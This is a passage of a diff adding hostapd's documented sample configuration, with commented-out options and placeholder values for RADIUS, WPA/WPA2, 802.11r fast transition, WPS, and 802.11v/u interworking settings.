2234 +#acct_server_port=1813
2235 +#acct_server_shared_secret=secret
2236 +
2237 +# Secondary RADIUS servers; to be used if primary one does not reply to
2238 +# RADIUS packets. These are optional and there can be more than one secondary
2239 +# server listed.
2240 +#auth_server_addr=127.0.0.2
2241 +#auth_server_port=1812
2242 +#auth_server_shared_secret=secret2
2243 +#
2244 +#acct_server_addr=127.0.0.2
2245 +#acct_server_port=1813
2246 +#acct_server_shared_secret=secret2
2247 +
2248 +# Retry interval for trying to return to the primary RADIUS server (in
2249 +# seconds). RADIUS client code will automatically try to use the next server
2250 +# when the current server is not replying to requests. If this interval is set,
2251 +# primary server will be retried after configured amount of time even if the
2252 +# currently used secondary server is still working.
2253 +#radius_retry_primary_interval=600
2254 +
2255 +
2256 +# Interim accounting update interval
2257 +# If this is set (larger than 0) and acct_server is configured, hostapd will
2258 +# send interim accounting updates every N seconds. Note: if set, this overrides
2259 +# possible Acct-Interim-Interval attribute in Access-Accept message. Thus, this
2260 +# value should not be configured in hostapd.conf, if RADIUS server is used to
2261 +# control the interim interval.
2262 +# This value should not be less 600 (10 minutes) and must not be less than
2263 +# 60 (1 minute).
2264 +#radius_acct_interim_interval=600
2265 +
2266 +# Request Chargeable-User-Identity (RFC 4372)
2267 +# This parameter can be used to configure hostapd to request CUI from the
2268 +# RADIUS server by including Chargeable-User-Identity attribute into
2269 +# Access-Request packets.
2270 +#radius_request_cui=1
2271 +
2272 +# Dynamic VLAN mode; allow RADIUS authentication server to decide which VLAN
2273 +# is used for the stations. This information is parsed from following RADIUS
2274 +# attributes based on RFC 3580 and RFC 2868: Tunnel-Type (value 13 = VLAN),
2275 +# Tunnel-Medium-Type (value 6 = IEEE 802), Tunnel-Private-Group-ID (value
2276 +# VLANID as a string). Optionally, the local MAC ACL list (accept_mac_file) can
2277 +# be used to set static client MAC address to VLAN ID mapping.
2278 +# 0 = disabled (default)
2279 +# 1 = option; use default interface if RADIUS server does not include VLAN ID
2280 +# 2 = required; reject authentication if RADIUS server does not include VLAN ID
2281 +#dynamic_vlan=0
2282 +
2283 +# Per-Station AP_VLAN interface mode
2284 +# If enabled, each station is assigned its own AP_VLAN interface.
2285 +# This implies per-station group keying and ebtables filtering of inter-STA
2286 +# traffic (when passed through the AP).
2287 +# If the sta is not assigned to any VLAN, then its AP_VLAN interface will be
2288 +# added to the bridge given by the "bridge" configuration option (see above).
2289 +# Otherwise, it will be added to the per-VLAN bridge.
2290 +# 0 = disabled (default)
2291 +# 1 = enabled
2292 +#per_sta_vif=0
2293 +
2294 +# VLAN interface list for dynamic VLAN mode is read from a separate text file.
2295 +# This list is used to map VLAN ID from the RADIUS server to a network
2296 +# interface. Each station is bound to one interface in the same way as with
2297 +# multiple BSSIDs or SSIDs. Each line in this text file is defining a new
2298 +# interface and the line must include VLAN ID and interface name separated by
2299 +# white space (space or tab).
2300 +# If no entries are provided by this file, the station is statically mapped
2301 +# to <bss-iface>.<vlan-id> interfaces.
2302 +#vlan_file=/etc/hostapd.vlan
2303 +
2304 +# Interface where 802.1q tagged packets should appear when a RADIUS server is
2305 +# used to determine which VLAN a station is on. hostapd creates a bridge for
2306 +# each VLAN. Then hostapd adds a VLAN interface (associated with the interface
2307 +# indicated by 'vlan_tagged_interface') and the appropriate wireless interface
2308 +# to the bridge.
2309 +#vlan_tagged_interface=eth0
2310 +
2311 +# Bridge (prefix) to add the wifi and the tagged interface to. This gets the
2312 +# VLAN ID appended. It defaults to brvlan%d if no tagged interface is given
2313 +# and br%s.%d if a tagged interface is given, provided %s = tagged interface
2314 +# and %d = VLAN ID.
2315 +#vlan_bridge=brvlan
2316 +
2317 +# When hostapd creates a VLAN interface on vlan_tagged_interfaces, it needs
2318 +# to know how to name it.
2319 +# 0 = vlan<XXX>, e.g., vlan1
2320 +# 1 = <vlan_tagged_interface>.<XXX>, e.g. eth0.1
2321 +#vlan_naming=0
2322 +
2323 +# Arbitrary RADIUS attributes can be added into Access-Request and
2324 +# Accounting-Request packets by specifying the contents of the attributes with
2325 +# the following configuration parameters. There can be multiple of these to
2326 +# add multiple attributes. These parameters can also be used to override some
2327 +# of the attributes added automatically by hostapd.
2328 +# Format: <attr_id>[:<syntax:value>]
2329 +# attr_id: RADIUS attribute type (e.g., 26 = Vendor-Specific)
2330 +# syntax: s = string (UTF-8), d = integer, x = octet string
2331 +# value: attribute value in format indicated by the syntax
2332 +# If syntax and value parts are omitted, a null value (single 0x00 octet) is
2333 +# used.
2334 +#
2335 +# Additional Access-Request attributes
2336 +# radius_auth_req_attr=<attr_id>[:<syntax:value>]
2337 +# Examples:
2338 +# Operator-Name = "Operator"
2339 +#radius_auth_req_attr=126:s:Operator
2340 +# Service-Type = Framed (2)
2341 +#radius_auth_req_attr=6:d:2
2342 +# Connect-Info = "testing" (this overrides the automatically generated value)
2343 +#radius_auth_req_attr=77:s:testing
2344 +# Same Connect-Info value set as a hexdump
2345 +#radius_auth_req_attr=77:x:74657374696e67
2346 +
2347 +#
2348 +# Additional Accounting-Request attributes
2349 +# radius_acct_req_attr=<attr_id>[:<syntax:value>]
2350 +# Examples:
2351 +# Operator-Name = "Operator"
2352 +#radius_acct_req_attr=126:s:Operator
2353 +
2354 +# Dynamic Authorization Extensions (RFC 5176)
2355 +# This mechanism can be used to allow dynamic changes to user session based on
2356 +# commands from a RADIUS server (or some other disconnect client that has the
2357 +# needed session information). For example, Disconnect message can be used to
2358 +# request an associated station to be disconnected.
2359 +#
2360 +# This is disabled by default. Set radius_das_port to non-zero UDP port
2361 +# number to enable.
2362 +#radius_das_port=3799
2363 +#
2364 +# DAS client (the host that can send Disconnect/CoA requests) and shared secret
2365 +#radius_das_client=192.168.1.123 shared secret here
2366 +#
2367 +# DAS Event-Timestamp time window in seconds
2368 +#radius_das_time_window=300
2369 +#
2370 +# DAS require Event-Timestamp
2371 +#radius_das_require_event_timestamp=1
2372 +#
2373 +# DAS require Message-Authenticator
2374 +#radius_das_require_message_authenticator=1
2375 +
2376 +##### RADIUS authentication server configuration ##############################
2377 +
2378 +# hostapd can be used as a RADIUS authentication server for other hosts. This
2379 +# requires that the integrated EAP server is also enabled and both
2380 +# authentication services are sharing the same configuration.
2381 +
2382 +# File name of the RADIUS clients configuration for the RADIUS server. If this
2383 +# commented out, RADIUS server is disabled.
2384 +#radius_server_clients=/etc/hostapd.radius_clients
2385 +
2386 +# The UDP port number for the RADIUS authentication server
2387 +#radius_server_auth_port=1812
2388 +
2389 +# The UDP port number for the RADIUS accounting server
2390 +# Commenting this out or setting this to 0 can be used to disable RADIUS
2391 +# accounting while still enabling RADIUS authentication.
2392 +#radius_server_acct_port=1813
2393 +
2394 +# Use IPv6 with RADIUS server (IPv4 will also be supported using IPv6 API)
2395 +#radius_server_ipv6=1
2396 +
2397 +
2398 +##### WPA/IEEE 802.11i configuration ##########################################
2399 +
2400 +# Enable WPA. Setting this variable configures the AP to require WPA (either
2401 +# WPA-PSK or WPA-RADIUS/EAP based on other configuration). For WPA-PSK, either
2402 +# wpa_psk or wpa_passphrase must be set and wpa_key_mgmt must include WPA-PSK.
2403 +# Instead of wpa_psk / wpa_passphrase, wpa_psk_radius might suffice.
2404 +# For WPA-RADIUS/EAP, ieee8021x must be set (but without dynamic WEP keys),
2405 +# RADIUS authentication server must be configured, and WPA-EAP must be included
2406 +# in wpa_key_mgmt.
2407 +# This field is a bit field that can be used to enable WPA (IEEE 802.11i/D3.0)
2408 +# and/or WPA2 (full IEEE 802.11i/RSN):
2409 +# bit0 = WPA
2410 +# bit1 = IEEE 802.11i/RSN (WPA2) (dot11RSNAEnabled)
2411 +#wpa=1
2412 +
2413 +# WPA pre-shared keys for WPA-PSK. This can be either entered as a 256-bit
2414 +# secret in hex format (64 hex digits), wpa_psk, or as an ASCII passphrase
2415 +# (8..63 characters) that will be converted to PSK. This conversion uses SSID
2416 +# so the PSK changes when ASCII passphrase is used and the SSID is changed.
2417 +# wpa_psk (dot11RSNAConfigPSKValue)
2418 +# wpa_passphrase (dot11RSNAConfigPSKPassPhrase)
2419 +#wpa_psk=0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef
2420 +#wpa_passphrase=secret passphrase
2421 +
2422 +# Optionally, WPA PSKs can be read from a separate text file (containing list
2423 +# of (PSK,MAC address) pairs. This allows more than one PSK to be configured.
2424 +# Use absolute path name to make sure that the files can be read on SIGHUP
2425 +# configuration reloads.
2426 +#wpa_psk_file=/etc/hostapd.wpa_psk
2427 +
2428 +# Optionally, WPA passphrase can be received from RADIUS authentication server
2429 +# This requires macaddr_acl to be set to 2 (RADIUS)
2430 +# 0 = disabled (default)
2431 +# 1 = optional; use default passphrase/psk if RADIUS server does not include
2432 +# Tunnel-Password
2433 +# 2 = required; reject authentication if RADIUS server does not include
2434 +# Tunnel-Password
2435 +#wpa_psk_radius=0
2436 +
2437 +# Set of accepted key management algorithms (WPA-PSK, WPA-EAP, or both). The
2438 +# entries are separated with a space. WPA-PSK-SHA256 and WPA-EAP-SHA256 can be
2439 +# added to enable SHA256-based stronger algorithms.
2440 +# (dot11RSNAConfigAuthenticationSuitesTable)
2441 +#wpa_key_mgmt=WPA-PSK WPA-EAP
2442 +
2443 +# Set of accepted cipher suites (encryption algorithms) for pairwise keys
2444 +# (unicast packets). This is a space separated list of algorithms:
2445 +# CCMP = AES in Counter mode with CBC-MAC [RFC 3610, IEEE 802.11i/D7.0]
2446 +# TKIP = Temporal Key Integrity Protocol [IEEE 802.11i/D7.0]
2447 +# Group cipher suite (encryption algorithm for broadcast and multicast frames)
2448 +# is automatically selected based on this configuration. If only CCMP is
2449 +# allowed as the pairwise cipher, group cipher will also be CCMP. Otherwise,
2450 +# TKIP will be used as the group cipher.
2451 +# (dot11RSNAConfigPairwiseCiphersTable)
2452 +# Pairwise cipher for WPA (v1) (default: TKIP)
2453 +#wpa_pairwise=TKIP CCMP
2454 +# Pairwise cipher for RSN/WPA2 (default: use wpa_pairwise value)
2455 +#rsn_pairwise=CCMP
2456 +
2457 +# Time interval for rekeying GTK (broadcast/multicast encryption keys) in
2458 +# seconds. (dot11RSNAConfigGroupRekeyTime)
2459 +#wpa_group_rekey=600
2460 +
2461 +# Rekey GTK when any STA that possesses the current GTK is leaving the BSS.
2462 +# (dot11RSNAConfigGroupRekeyStrict)
2463 +#wpa_strict_rekey=1
2464 +
2465 +# Time interval for rekeying GMK (master key used internally to generate GTKs
2466 +# (in seconds).
2467 +#wpa_gmk_rekey=86400
2468 +
2469 +# Maximum lifetime for PTK in seconds. This can be used to enforce rekeying of
2470 +# PTK to mitigate some attacks against TKIP deficiencies.
2471 +#wpa_ptk_rekey=600
2472 +
2473 +# Enable IEEE 802.11i/RSN/WPA2 pre-authentication. This is used to speed up
2474 +# roaming be pre-authenticating IEEE 802.1X/EAP part of the full RSN
2475 +# authentication and key handshake before actually associating with a new AP.
2476 +# (dot11RSNAPreauthenticationEnabled)
2477 +#rsn_preauth=1
2478 +#
2479 +# Space separated list of interfaces from which pre-authentication frames are
2480 +# accepted (e.g., 'eth0' or 'eth0 wlan0wds0'. This list should include all
2481 +# interface that are used for connections to other APs. This could include
2482 +# wired interfaces and WDS links. The normal wireless data interface towards
2483 +# associated stations (e.g., wlan0) should not be added, since
2484 +# pre-authentication is only used with APs other than the currently associated
2485 +# one.
2486 +#rsn_preauth_interfaces=eth0
2487 +
2488 +# peerkey: Whether PeerKey negotiation for direct links (IEEE 802.11e) is
2489 +# allowed. This is only used with RSN/WPA2.
2490 +# 0 = disabled (default)
2491 +# 1 = enabled
2492 +#peerkey=1
2493 +
2494 +# ieee80211w: Whether management frame protection (MFP) is enabled
2495 +# 0 = disabled (default)
2496 +# 1 = optional
2497 +# 2 = required
2498 +#ieee80211w=0
2499 +
2500 +# Group management cipher suite
2501 +# Default: AES-128-CMAC (BIP)
2502 +# Other options (depending on driver support):
2503 +# BIP-GMAC-128
2504 +# BIP-GMAC-256
2505 +# BIP-CMAC-256
2506 +# Note: All the stations connecting to the BSS will also need to support the
2507 +# selected cipher. The default AES-128-CMAC is the only option that is commonly
2508 +# available in deployed devices.
2509 +#group_mgmt_cipher=AES-128-CMAC
2510 +
2511 +# Association SA Query maximum timeout (in TU = 1.024 ms; for MFP)
2512 +# (maximum time to wait for a SA Query response)
2513 +# dot11AssociationSAQueryMaximumTimeout, 1...4294967295
2514 +#assoc_sa_query_max_timeout=1000
2515 +
2516 +# Association SA Query retry timeout (in TU = 1.024 ms; for MFP)
2517 +# (time between two subsequent SA Query requests)
2518 +# dot11AssociationSAQueryRetryTimeout, 1...4294967295
2519 +#assoc_sa_query_retry_timeout=201
2520 +
2521 +# disable_pmksa_caching: Disable PMKSA caching
2522 +# This parameter can be used to disable caching of PMKSA created through EAP
2523 +# authentication. RSN preauthentication may still end up using PMKSA caching if
2524 +# it is enabled (rsn_preauth=1).
2525 +# 0 = PMKSA caching enabled (default)
2526 +# 1 = PMKSA caching disabled
2527 +#disable_pmksa_caching=0
2528 +
2529 +# okc: Opportunistic Key Caching (aka Proactive Key Caching)
2530 +# Allow PMK cache to be shared opportunistically among configured interfaces
2531 +# and BSSes (i.e., all configurations within a single hostapd process).
2532 +# 0 = disabled (default)
2533 +# 1 = enabled
2534 +#okc=1
2535 +
2536 +# SAE threshold for anti-clogging mechanism (dot11RSNASAEAntiCloggingThreshold)
2537 +# This parameter defines how many open SAE instances can be in progress at the
2538 +# same time before the anti-clogging mechanism is taken into use.
2539 +#sae_anti_clogging_threshold=5
2540 +
2541 +# Enabled SAE finite cyclic groups
2542 +# SAE implementation are required to support group 19 (ECC group defined over a
2543 +# 256-bit prime order field). All groups that are supported by the
2544 +# implementation are enabled by default. This configuration parameter can be
2545 +# used to specify a limited set of allowed groups. The group values are listed
2546 +# in the IANA registry:
2547 +# http://www.iana.org/assignments/ipsec-registry/ipsec-registry.xml#ipsec-registry-9
2548 +#sae_groups=19 20 21 25 26
2549 +
2550 +##### IEEE 802.11r configuration ##############################################
2551 +
2552 +# Mobility Domain identifier (dot11FTMobilityDomainID, MDID)
2553 +# MDID is used to indicate a group of APs (within an ESS, i.e., sharing the
2554 +# same SSID) between which a STA can use Fast BSS Transition.
2555 +# 2-octet identifier as a hex string.
2556 +#mobility_domain=a1b2
2557 +
2558 +# PMK-R0 Key Holder identifier (dot11FTR0KeyHolderID)
2559 +# 1 to 48 octet identifier.
2560 +# This is configured with nas_identifier (see RADIUS client section above).
2561 +
2562 +# Default lifetime of the PMK-RO in minutes; range 1..65535
2563 +# (dot11FTR0KeyLifetime)
2564 +#r0_key_lifetime=10000
2565 +
2566 +# PMK-R1 Key Holder identifier (dot11FTR1KeyHolderID)
2567 +# 6-octet identifier as a hex string.
2568 +# Defaults to BSSID.
2569 +#r1_key_holder=000102030405
2570 +
2571 +# Reassociation deadline in time units (TUs / 1.024 ms; range 1000..65535)
2572 +# (dot11FTReassociationDeadline)
2573 +#reassociation_deadline=1000
2574 +
2575 +# List of R0KHs in the same Mobility Domain
2576 +# format: <MAC address> <NAS Identifier> <128-bit key as hex string>
2577 +# This list is used to map R0KH-ID (NAS Identifier) to a destination MAC
2578 +# address when requesting PMK-R1 key from the R0KH that the STA used during the
2579 +# Initial Mobility Domain Association.
2580 +#r0kh=02:01:02:03:04:05 r0kh-1.example.com 000102030405060708090a0b0c0d0e0f
2581 +#r0kh=02:01:02:03:04:06 r0kh-2.example.com 00112233445566778899aabbccddeeff
2582 +# And so on.. One line per R0KH.
2583 +
2584 +# List of R1KHs in the same Mobility Domain
2585 +# format: <MAC address> <R1KH-ID> <128-bit key as hex string>
2586 +# This list is used to map R1KH-ID to a destination MAC address when sending
2587 +# PMK-R1 key from the R0KH. This is also the list of authorized R1KHs in the MD
2588 +# that can request PMK-R1 keys.
2589 +#r1kh=02:01:02:03:04:05 02:11:22:33:44:55 000102030405060708090a0b0c0d0e0f
2590 +#r1kh=02:01:02:03:04:06 02:11:22:33:44:66 00112233445566778899aabbccddeeff
2591 +# And so on.. One line per R1KH.
2592 +
2593 +# Whether PMK-R1 push is enabled at R0KH
2594 +# 0 = do not push PMK-R1 to all configured R1KHs (default)
2595 +# 1 = push PMK-R1 to all configured R1KHs whenever a new PMK-R0 is derived
2596 +#pmk_r1_push=1
2597 +
2598 +# Whether to enable FT-over-DS
2599 +# 0 = FT-over-DS disabled
2600 +# 1 = FT-over-DS enabled (default)
2601 +#ft_over_ds=1
2602 +
2603 +##### Neighbor table ##########################################################
2604 +# Maximum number of entries kept in AP table (either for neigbor table or for
2605 +# detecting Overlapping Legacy BSS Condition). The oldest entry will be
2606 +# removed when adding a new entry that would make the list grow over this
2607 +# limit. Note! WFA certification for IEEE 802.11g requires that OLBC is
2608 +# enabled, so this field should not be set to 0 when using IEEE 802.11g.
2609 +# default: 255
2610 +#ap_table_max_size=255
2611 +
2612 +# Number of seconds of no frames received after which entries may be deleted
2613 +# from the AP table. Since passive scanning is not usually performed frequently
2614 +# this should not be set to very small value. In addition, there is no
2615 +# guarantee that every scan cycle will receive beacon frames from the
2616 +# neighboring APs.
2617 +# default: 60
2618 +#ap_table_expiration_time=3600
2619 +
2620 +# Maximum number of stations to track on the operating channel
2621 +# This can be used to detect dualband capable stations before they have
2622 +# associated, e.g., to provide guidance on which colocated BSS to use.
2623 +# Default: 0 (disabled)
2624 +#track_sta_max_num=100
2625 +
2626 +# Maximum age of a station tracking entry in seconds
2627 +# Default: 180
2628 +#track_sta_max_age=180
2629 +
2630 +# Do not reply to group-addressed Probe Request from a station that was seen on
2631 +# another radio.
2632 +# Default: Disabled
2633 +#
2634 +# This can be used with enabled track_sta_max_num configuration on another
2635 +# interface controlled by the same hostapd process to restrict Probe Request
2636 +# frame handling from replying to group-addressed Probe Request frames from a
2637 +# station that has been detected to be capable of operating on another band,
2638 +# e.g., to try to reduce likelihood of the station selecting a 2.4 GHz BSS when
2639 +# the AP operates both a 2.4 GHz and 5 GHz BSS concurrently.
2640 +#
2641 +# Note: Enabling this can cause connectivity issues and increase latency for
2642 +# discovering the AP.
2643 +#no_probe_resp_if_seen_on=wlan1
2644 +
2645 +# Reject authentication from a station that was seen on another radio.
2646 +# Default: Disabled
2647 +#
2648 +# This can be used with enabled track_sta_max_num configuration on another
2649 +# interface controlled by the same hostapd process to reject authentication
2650 +# attempts from a station that has been detected to be capable of operating on
2651 +# another band, e.g., to try to reduce likelihood of the station selecting a
2652 +# 2.4 GHz BSS when the AP operates both a 2.4 GHz and 5 GHz BSS concurrently.
2653 +#
2654 +# Note: Enabling this can cause connectivity issues and increase latency for
2655 +# connecting with the AP.
2656 +#no_auth_if_seen_on=wlan1
2657 +
2658 +##### Wi-Fi Protected Setup (WPS) #############################################
2659 +
2660 +# WPS state
2661 +# 0 = WPS disabled (default)
2662 +# 1 = WPS enabled, not configured
2663 +# 2 = WPS enabled, configured
2664 +#wps_state=2
2665 +
2666 +# Whether to manage this interface independently from other WPS interfaces
2667 +# By default, a single hostapd process applies WPS operations to all configured
2668 +# interfaces. This parameter can be used to disable that behavior for a subset
2669 +# of interfaces. If this is set to non-zero for an interface, WPS commands
2670 +# issued on that interface do not apply to other interfaces and WPS operations
2671 +# performed on other interfaces do not affect this interface.
2672 +#wps_independent=0
2673 +
2674 +# AP can be configured into a locked state where new WPS Registrar are not
2675 +# accepted, but previously authorized Registrars (including the internal one)
2676 +# can continue to add new Enrollees.
2677 +#ap_setup_locked=1
2678 +
2679 +# Universally Unique IDentifier (UUID; see RFC 4122) of the device
2680 +# This value is used as the UUID for the internal WPS Registrar. If the AP
2681 +# is also using UPnP, this value should be set to the device's UPnP UUID.
2682 +# If not configured, UUID will be generated based on the local MAC address.
2683 +#uuid=12345678-9abc-def0-1234-56789abcdef0
2684 +
2685 +# Note: If wpa_psk_file is set, WPS is used to generate random, per-device PSKs
2686 +# that will be appended to the wpa_psk_file. If wpa_psk_file is not set, the
2687 +# default PSK (wpa_psk/wpa_passphrase) will be delivered to Enrollees. Use of
2688 +# per-device PSKs is recommended as the more secure option (i.e., make sure to
2689 +# set wpa_psk_file when using WPS with WPA-PSK).
2690 +
2691 +# When an Enrollee requests access to the network with PIN method, the Enrollee
2692 +# PIN will need to be entered for the Registrar. PIN request notifications are
2693 +# sent to hostapd ctrl_iface monitor. In addition, they can be written to a
2694 +# text file that could be used, e.g., to populate the AP administration UI with
2695 +# pending PIN requests. If the following variable is set, the PIN requests will
2696 +# be written to the configured file.
2697 +#wps_pin_requests=/var/run/hostapd_wps_pin_requests
2698 +
2699 +# Device Name
2700 +# User-friendly description of device; up to 32 octets encoded in UTF-8
2701 +#device_name=Wireless AP
2702 +
2703 +# Manufacturer
2704 +# The manufacturer of the device (up to 64 ASCII characters)
2705 +#manufacturer=Company
2706 +
2707 +# Model Name
2708 +# Model of the device (up to 32 ASCII characters)
2709 +#model_name=WAP
2710 +
2711 +# Model Number
2712 +# Additional device description (up to 32 ASCII characters)
2713 +#model_number=123
2714 +
2715 +# Serial Number
2716 +# Serial number of the device (up to 32 characters)
2717 +#serial_number=12345
2718 +
2719 +# Primary Device Type
2720 +# Used format: <categ>-<OUI>-<subcateg>
2721 +# categ = Category as an integer value
2722 +# OUI = OUI and type octet as a 4-octet hex-encoded value; 0050F204 for
2723 +# default WPS OUI
2724 +# subcateg = OUI-specific Sub Category as an integer value
2725 +# Examples:
2726 +# 1-0050F204-1 (Computer / PC)
2727 +# 1-0050F204-2 (Computer / Server)
2728 +# 5-0050F204-1 (Storage / NAS)
2729 +# 6-0050F204-1 (Network Infrastructure / AP)
2730 +#device_type=6-0050F204-1
2731 +
2732 +# OS Version
2733 +# 4-octet operating system version number (hex string)
2734 +#os_version=01020300
2735 +
2736 +# Config Methods
2737 +# List of the supported configuration methods
2738 +# Available methods: usba ethernet label display ext_nfc_token int_nfc_token
2739 +# nfc_interface push_button keypad virtual_display physical_display
2740 +# virtual_push_button physical_push_button
2741 +#config_methods=label virtual_display virtual_push_button keypad
2742 +
2743 +# WPS capability discovery workaround for PBC with Windows 7
2744 +# Windows 7 uses incorrect way of figuring out AP's WPS capabilities by acting
2745 +# as a Registrar and using M1 from the AP. The config methods attribute in that
2746 +# message is supposed to indicate only the configuration method supported by
2747 +# the AP in Enrollee role, i.e., to add an external Registrar. For that case,
2748 +# PBC shall not be used and as such, the PushButton config method is removed
2749 +# from M1 by default. If pbc_in_m1=1 is included in the configuration file,
2750 +# the PushButton config method is left in M1 (if included in config_methods
2751 +# parameter) to allow Windows 7 to use PBC instead of PIN (e.g., from a label
2752 +# in the AP).
2753 +#pbc_in_m1=1
2754 +
2755 +# Static access point PIN for initial configuration and adding Registrars
2756 +# If not set, hostapd will not allow external WPS Registrars to control the
2757 +# access point. The AP PIN can also be set at runtime with hostapd_cli
2758 +# wps_ap_pin command. Use of temporary (enabled by user action) and random
2759 +# AP PIN is much more secure than configuring a static AP PIN here. As such,
2760 +# use of the ap_pin parameter is not recommended if the AP device has means for
2761 +# displaying a random PIN.
2762 +#ap_pin=12345670
2763 +
2764 +# Skip building of automatic WPS credential
2765 +# This can be used to allow the automatically generated Credential attribute to
2766 +# be replaced with pre-configured Credential(s).
2767 +#skip_cred_build=1
2768 +
2769 +# Additional Credential attribute(s)
2770 +# This option can be used to add pre-configured Credential attributes into M8
2771 +# message when acting as a Registrar. If skip_cred_build=1, this data will also
2772 +# be able to override the Credential attribute that would have otherwise been
2773 +# automatically generated based on network configuration. This configuration
2774 +# option points to an external file that much contain the WPS Credential
2775 +# attribute(s) as binary data.
2776 +#extra_cred=hostapd.cred
2777 +
2778 +# Credential processing
2779 +# 0 = process received credentials internally (default)
2780 +# 1 = do not process received credentials; just pass them over ctrl_iface to
2781 +# external program(s)
2782 +# 2 = process received credentials internally and pass them over ctrl_iface
2783 +# to external program(s)
2784 +# Note: With wps_cred_processing=1, skip_cred_build should be set to 1 and
2785 +# extra_cred be used to provide the Credential data for Enrollees.
2786 +#
2787 +# wps_cred_processing=1 will disabled automatic updates of hostapd.conf file
2788 +# both for Credential processing and for marking AP Setup Locked based on
2789 +# validation failures of AP PIN. An external program is responsible on updating
2790 +# the configuration appropriately in this case.
2791 +#wps_cred_processing=0
2792 +
2793 +# AP Settings Attributes for M7
2794 +# By default, hostapd generates the AP Settings Attributes for M7 based on the
2795 +# current configuration. It is possible to override this by providing a file
2796 +# with pre-configured attributes. This is similar to extra_cred file format,
2797 +# but the AP Settings attributes are not encapsulated in a Credential
2798 +# attribute.
2799 +#ap_settings=hostapd.ap_settings
2800 +
2801 +# WPS UPnP interface
2802 +# If set, support for external Registrars is enabled.
2803 +#upnp_iface=br0
2804 +
2805 +# Friendly Name (required for UPnP)
2806 +# Short description for end use. Should be less than 64 characters.
2807 +#friendly_name=WPS Access Point
2808 +
2809 +# Manufacturer URL (optional for UPnP)
2810 +#manufacturer_url=http://www.example.com/
2811 +
2812 +# Model Description (recommended for UPnP)
2813 +# Long description for end user. Should be less than 128 characters.
2814 +#model_description=Wireless Access Point
2815 +
2816 +# Model URL (optional for UPnP)
2817 +#model_url=http://www.example.com/model/
2818 +
2819 +# Universal Product Code (optional for UPnP)
2820 +# 12-digit, all-numeric code that identifies the consumer package.
2821 +#upc=123456789012
2822 +
2823 +# WPS RF Bands (a = 5G, b = 2.4G, g = 2.4G, ag = dual band, ad = 60 GHz)
2824 +# This value should be set according to RF band(s) supported by the AP if
2825 +# hw_mode is not set. For dual band dual concurrent devices, this needs to be
2826 +# set to ag to allow both RF bands to be advertized.
2827 +#wps_rf_bands=ag
2828 +
2829 +# NFC password token for WPS
2830 +# These parameters can be used to configure a fixed NFC password token for the
2831 +# AP. This can be generated, e.g., with nfc_pw_token from wpa_supplicant. When
2832 +# these parameters are used, the AP is assumed to be deployed with a NFC tag
2833 +# that includes the matching NFC password token (e.g., written based on the
2834 +# NDEF record from nfc_pw_token).
2835 +#
2836 +#wps_nfc_dev_pw_id: Device Password ID (16..65535)
2837 +#wps_nfc_dh_pubkey: Hexdump of DH Public Key
2838 +#wps_nfc_dh_privkey: Hexdump of DH Private Key
2839 +#wps_nfc_dev_pw: Hexdump of Device Password
2840 +
2841 +##### Wi-Fi Direct (P2P) ######################################################
2842 +
2843 +# Enable P2P Device management
2844 +#manage_p2p=1
2845 +
2846 +# Allow cross connection
2847 +#allow_cross_connection=1
2848 +
2849 +#### TDLS (IEEE 802.11z-2010) #################################################
2850 +
2851 +# Prohibit use of TDLS in this BSS
2852 +#tdls_prohibit=1
2853 +
2854 +# Prohibit use of TDLS Channel Switching in this BSS
2855 +#tdls_prohibit_chan_switch=1
2856 +
2857 +##### IEEE 802.11v-2011 #######################################################
2858 +
2859 +# Time advertisement
2860 +# 0 = disabled (default)
2861 +# 2 = UTC time at which the TSF timer is 0
2862 +#time_advertisement=2
2863 +
2864 +# Local time zone as specified in 8.3 of IEEE Std 1003.1-2004:
2865 +# stdoffset[dst[offset][,start[/time],end[/time]]]
2866 +#time_zone=EST5
2867 +
2868 +# WNM-Sleep Mode (extended sleep mode for stations)
2869 +# 0 = disabled (default)
2870 +# 1 = enabled (allow stations to use WNM-Sleep Mode)
2871 +#wnm_sleep_mode=1
2872 +
2873 +# BSS Transition Management
2874 +# 0 = disabled (default)
2875 +# 1 = enabled
2876 +#bss_transition=1
2877 +
2878 +# Proxy ARP
2879 +# 0 = disabled (default)
2880 +# 1 = enabled
2881 +#proxy_arp=1
2882 +
2883 +# IPv6 Neighbor Advertisement multicast-to-unicast conversion
2884 +# This can be used with Proxy ARP to allow multicast NAs to be forwarded to
2885 +# associated STAs using link layer unicast delivery.
2886 +# 0 = disabled (default)
2887 +# 1 = enabled
2888 +#na_mcast_to_ucast=0
2889 +
2890 +##### IEEE 802.11u-2011 #######################################################
2891 +
2892 +# Enable Interworking service
2893 +#interworking=1
2894 +
2895 +# Access Network Type
2896 +# 0 = Private network
2897 +# 1 = Private network with guest access
2898 +# 2 = Chargeable public network
2899 +# 3 = Free public network
2900 +# 4 = Personal device network
2901 +# 5 = Emergency services only network
2902 +# 14 = Test or experimental
2903 +# 15 = Wildcard
2904 +#access_network_type=0
2905 +
2906 +# Whether the network provides connectivity to the Internet
2907 +# 0 = Unspecified
2908 +# 1 = Network provides connectivity to the Internet
2909 +#internet=1
2910 +
2911 +# Additional Step Required for Access
2912 +# Note: This is only used with open network, i.e., ASRA shall ne set to 0 if
2913 +# RSN is used.
2914 +#asra=0
2915 +
2916 +# Emergency services reachable
2917 +#esr=0
2918 +
2919 +# Unauthenticated emergency service accessible
2920 +#uesa=0
2921 +
2922 +# Venue Info (optional)
2923 +# The available values are defined in IEEE Std 802.11u-2011, 7.3.1.34.
2924 +# Example values (group,type):
2925 +# 0,0 = Unspecified
2926 +# 1,7 = Convention Center
2927 +# 1,13 = Coffee Shop
2928 +# 2,0 = Unspecified Business
2929 +# 7,1 Private Residence
2930 +#venue_group=7
2931 +#venue_type=1
2932 +
2933 +# Homogeneous ESS identifier (optional; dot11HESSID)
2934 +# If set, this shall be identifical to one of the BSSIDs in the homogeneous
2935 +# ESS and this shall be set to the same value across all BSSs in homogeneous
2936 +# ESS.
2937 +#hessid=02:03:04:05:06:07
2938 +
2939 +# Roaming Consortium List
2940 +# Arbitrary number of Roaming Consortium OIs can be configured with each line
2941 +# adding a new OI to the list. The first three entries are available through
2942 +# Beacon and Probe Response frames. Any additional entry will be available only
2943 +# through ANQP queries. Each OI is between 3 and 15 octets and is configured as
2944 +# a hexstring.
2945 +#roaming_consortium=021122
2946 +#roaming_consortium=2233445566
2947 +
2948 +# Venue Name information
2949 +# This parameter can be used to configure one or more Venue Name Duples for
2950 +# Venue Name ANQP information. Each entry has a two or three character language
2951 +# code (ISO-639) separated by colon from the venue name string.
2952 +# Note that venue_group and venue_type have to be set for Venue Name
2953 +# information to be complete.
